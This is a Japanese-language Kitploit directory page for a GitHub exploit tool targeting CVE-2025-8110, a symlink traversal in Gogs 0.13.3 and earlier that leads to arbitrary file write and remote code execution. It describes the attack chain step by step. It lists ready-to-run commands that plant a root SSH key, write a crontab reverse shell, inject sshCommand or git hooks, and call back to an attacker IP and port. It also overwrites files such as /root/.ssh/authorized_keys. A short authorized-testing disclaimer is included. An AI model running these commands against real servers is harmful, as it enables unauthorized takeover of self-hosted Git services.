Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8110 — Gogs シンボリックリンクトラバーサル → RCE | Kitploit
ツール/GitHubGitHub/popyue/cve-2025-8110
特権昇格脆弱性分析エクスプロイト横移動ウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングペイロード開発
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs シンボリックリンクトラバーサル → RCE

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-8110 — Gogs シンボリックリンクトラバーサル → RCE

概要

CVE-2025-8110 は、Gogs(セルフホスト型 Git サービス)のバージョン 0.13.3 以下 における深刻な脆弱性です。PutContents API はディレクトリトラバーサル (../) に対してファイルパスを検証しますが、書き込み前にシンボリックリンクを解決しません。認証済みユーザーが任意のサーバーファイルをターゲットにしたシンボリックリンクを含むコミットをプッシュし、そのシンボリックリンクに対して PutContents を呼び出すことで、実際のファイルを攻撃者が制御する内容で上書きできます。

これは以前の CVE-2024-55947 の修正を回避するもので、その修正では直接的なパストラバーサルのみに対処しており、シンボリックリンクベースのトラバーサルには対応していませんでした。

詳細値
CVECVE-2025-8110
影響を受けるバージョンGogs <= 0.13.3
修正バージョンGogs 0.13.4
タイプ認証済み任意ファイル書き込み → RCE
CVSS8.8(高)
コンポーネントPutContents API (/api/v1/repos/:owner/:repo/contents/:path)

必要条件

  • Python 3.8+
  • requests(pip install requests)
  • git CLI
  • ターゲットインスタンス上の有効な Gogs アカウント

RCE 戦略

このエクスプロイトは 4 つの組み込み RCE 戦略と汎用ファイル書き込みモードをサポートしています。

使用方法

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

攻撃連鎖の詳細

  1. 認証 — Basic Auth で API トークンを作成(POST /api/v1/users/:user/tokens)- API トークン(Basic Auth)でログイン
  2. リポジトリを作成 — POST /api/v1/user/repos(auto_init: true を指定)
  3. シンボリックリンクをプッシュ — HTTP 経由でリポジトリをクローン(認証情報を URL に埋め込み)、ターゲットファイルを指すシンボリックリンクを作成し、コミット&プッシュ
  4. シンボリックリンクを通して書き込み — PUT /api/v1/repos/:owner/:repo/contents/:link に base64 エンコードされた内容を送信。Gogs はディスク上のシンボリックリンクを解決し、実際のファイルに書き込む
  5. RCE をトリガー — RCE のトリガーは戦略に依存(SSH ログイン、cron 実行、sshCommand の評価、フックの実行)

オプション

root@kitploit:~
target                  Gogs ベース URL(例:http://target:3000)

認証:
  -u, --user            Gogs ユーザー名
  -p, --password        Gogs パスワード

RCE 戦略:
  --rce-keys PUBKEY     SSH 公開鍵を仕込み → /root/.ssh/authorized_keys
  --rce-cron            リバースシェル → /etc/crontab
  --rce-ssh             .git/config の sshCommand を汚染しトリガー
  --rce-hook            pre-receive フックを上書きしトリガー
  --write               汎用任意ファイル書き込み

接続 / ペイロード:
  --lhost LHOST         リバースシェル用の攻撃者 IP
  --lport LPORT         リバースシェル用の攻撃者ポート
  --target-file PATH    上書きするサーバーパス(--write モード)
  --content STRING      書き込む内容
  --content-file FILE   ローカルファイルの内容を書き込み

オプション:
  --repo NAME           リポジトリ名(デフォルト:ランダム)
  --cleanup             完了後にエクスプロイトリポジトリを削除
  -o, --output FILE     レポートファイル(デフォルト:loot.json)
  --timeout SECONDS     リクエストタイムアウト(デフォルト:15)
  --proxy URL           デバッグ用 HTTP プロキシ
  --check-only          ターゲットが Gogs かどうかのみチェックし、エクスプロイトは行わない

参考文献

  • Wiz Research Blog
  • NVD — CVE-2025-8110
  • Gogs Patch PR #8078
  • GHSA-mq8m-42gh-wq7r

免責事項

このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。許可なくコンピュータシステムにアクセスすることは違法です。著者は誤用に対する一切の責任を負いません。所有しているシステム、または明示的な書面によるテスト許可があるシステムでのみ使用してください。

ツールをダウンロード
戦略フラグターゲットファイルトリガー
A — SSH 鍵--rce-keys/root/.ssh/authorized_keysSSH ログイン
B — Crontab--rce-cron/etc/crontab自動(60 秒以内)
C — sshCommand--rce-ssh.git/configSSH git 操作
D — Git フック--rce-hookhooks/pre-receivegit push
汎用--write任意のパス手動